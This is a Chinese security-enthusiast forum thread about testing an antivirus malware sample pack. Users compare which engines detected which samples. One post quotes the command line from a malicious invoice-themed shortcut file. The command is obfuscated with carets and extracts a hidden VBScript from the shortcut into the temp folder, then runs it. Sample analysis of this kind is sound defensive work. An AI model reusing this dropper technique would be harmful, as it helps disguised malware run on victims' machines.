样本5X_9

显示全部楼层 · 发表于 2019-9-30 00:17:21

智量杀4、5，A2补刀了个2，剩下的txt倒没啥，lnk就算了。。。实机不敢双击，而且鉴于以前的经验，A2翻车的概率较大，至于智量主防会不会拦截就不知道了

显示全部楼层 · 发表于 2019-9-30 00:46:21

AVG+BD解压杀后，剩余3和4，4不知道是啥，没法运行，3双击后没啥明面上的反应，不知道有啥小动作没

显示全部楼层 · 发表于 2019-9-30 00:53:53

在缓存文件夹里找到了生成的NcygF.vbs，但是用文本编辑器查看，里面竟然是空的。。。本人代码盲一个，lnk那段代码啥意思，看不懂，谁来解释解释

显示全部楼层 · 发表于 2019-9-30 11:24:26

发帖时：360杀一个，微点Miss All 。

显示全部楼层 · 发表于 2019-10-2 21:14:41

无语~ 发表于 2019-9-30 00:53
在缓存文件夹里找到了生成的NcygF.vbs，但是用文本编辑器查看，里面竟然是空的。。。本人代码盲一个，lnk那 ...

%comspec% /c del qEtLd & (f^indstr "RQIbN.*" InvoiceAndStatement.l^nk > "%tmp%\NcygF.vbs" & "%tmp%\NcygF.vbs") & WUIin
这个恶意快捷方式应该是创建一个NcygF.vbs，然后运行，我也看不懂

显示全部楼层 · 发表于 2019-10-2 23:54:10

QVM360 发表于 2019-10-2 21:14
%comspec% /c del qEtLd & (f^indstr "RQIbN.*" InvoiceAndStatement.l^nk > "%tmp%\NcygF.vbs" & "%tmp% ...

问题是那个vbs是空的，这样毫无意义啊

[病毒样本] 样本5X_9

评分

本帖子中包含更多资源

浏览过的版块